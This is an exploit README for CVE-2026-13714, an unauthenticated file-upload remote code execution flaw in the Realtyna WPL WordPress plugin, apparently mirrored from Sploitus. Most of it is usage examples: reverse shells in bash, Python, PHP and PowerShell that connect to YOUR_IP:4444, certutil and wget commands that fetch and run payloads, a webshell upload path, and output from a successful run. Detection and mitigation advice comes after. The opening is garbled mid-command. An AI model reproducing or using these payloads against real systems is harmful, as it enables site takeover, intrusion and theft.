Exploit for CVE-2026-13714

## https://sploitus.com/exploit?id=78AF2541-3A40-56FE-9DC6-3FC9069101DB
```markdown
# Realtyna WPL & /dev/tcp/YOUR_IP/4444 0>&1'"

# Python reverse shell
python exploit.py -u https://target.com -c "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"YOUR_IP\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'"

# PHP reverse shell
python exploit.py -u https://target.com -c "php -r '\$sock=fsockopen(\"YOUR_IP\",4444);exec(\"/bin/sh -i &3 2>&3\");'"
```

#### Reverse Shell (Windows)
```bash
# PowerShell reverse shell
python exploit.py -u https://target.com -c "powershell -c \"\$client = New-Object System.Net.Sockets.TCPClient('YOUR_IP',4444);\$stream = \$client.GetStream();[byte[]]\$bytes = 0..65535|%{0};while((\$i = \$stream.Read(\$bytes, 0, \$bytes.Length)) -ne 0){;\$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$bytes,0, \$i);\$sendback = (iex \$data 2>&1 | Out-String );\$sendback2 = \$sendback + 'PS ' + (pwd).Path + '> ';\$sendbyte = ([text.encoding]::ASCII).GetBytes(\$sendback2);\$stream.Write(\$sendbyte,0,\$sendbyte.Length);\$stream.Flush()};\$client.Close()\""
```

#### Upload and Execute Custom Payloads
```bash
# Download and execute (Windows)
python exploit.py -u https://target.com -c "certutil -urlcache -f http://YOUR_IP/payload.exe C:\temp\payload.exe && C:\temp\payload.exe"

# Download and execute (Linux)
python exploit.py -u https://target.com -c "wget http://YOUR_IP/payload -O /tmp/payload && chmod +x /tmp/payload && /tmp/payload"
```

## Exploit Flow

1. **Upload:** Uploads a PHP webshell (``)
2. **Location:** File saved to `wp-content/uploads/WPL//shell.php`
3. **Execution:** Execute commands via `shell.php?c=COMMAND`

## Detection

### How to Detect the Exploit
- Check for suspicious files in `/wp-content/uploads/WPL/*/`
- Monitor for requests with parameters: `wplview=io`, `wplformat=io`, `cmd=set_property`
- Look for suspicious API requests with hardcoded credentials

### Signs of Compromise
- Unexpected PHP files in upload directories
- Unusual web requests with system commands
- New admin users in WordPress
- Modified .htaccess files

## Mitigation

### Fixes
1. **Update immediately** to WPL Real Estate version 5.3.0 or higher
2. If unable to update, disable the I/O API:
   ```php
   // Add to wp-config.php
   define('WPL_IO_STATUS', 0);
   ```
3. Change the hardcoded credentials
4. Implement proper file type validation
5. Restrict file upload directories

### Security Recommendations
- Keep all WordPress plugins updated
- Use Web Application Firewall (WAF)
- Regular security audits
- Monitor file upload directories
- Disable unnecessary APIs

## Screenshots

### Successful Exploit
```
[+] Realtyna WPL < 5.3.0 RCE Exploit
[+] Target: https://localhost/wordpress/
[+] Command: whoami
[+] Uploading webshell...
[+] File uploaded successfully!
[+] Webshell found at: wp-content/uploads/WPL/1/shell.php
[+] Command output:
desktop-0s8mt1v\kg
```

## Disclaimer
This exploit is for **educational and authorized testing purposes only**. Unauthorized use against systems you don't own or have permission to test is illegal. The author assumes no responsibility for misuse.

## Legal Usage
- Only use on systems you own
- Only use with explicit written permission
- Follow responsible disclosure practices
- Report vulnerabilities to vendors

## License
This project is for educational purposes only. Use at your own risk.

## Credits
- **Original Researcher:** Thom Stackhouse
- **CVE:** CVE-2026-13714
- **WPVDB ID:** 69f9dcd8-ab3c-46ed-ac6b-2f1db35f8d1f

## References
- [WPScan Vulnerability Page](https://wpscan.com/vulnerability/69f9dcd8-ab3c-46ed-ac6b-2f1db35f8d1f/)
- [CVE-2026-13714](https://nvd.nist.gov/vuln/detail/CVE-2026-13714)

## Changelog

### v1.0 (2026-08-17)
- Initial release
- Unauthenticated file upload
- Remote code execution
- Command execution support

## Contributing
Feel free to submit issues and pull requests for improvements.

## Support
For issues and questions, please open an issue on GitHub.

---
**⚠️ WARNING:** This tool is provided for security research and educational purposes only. Always obtain proper authorization before testing any system.
```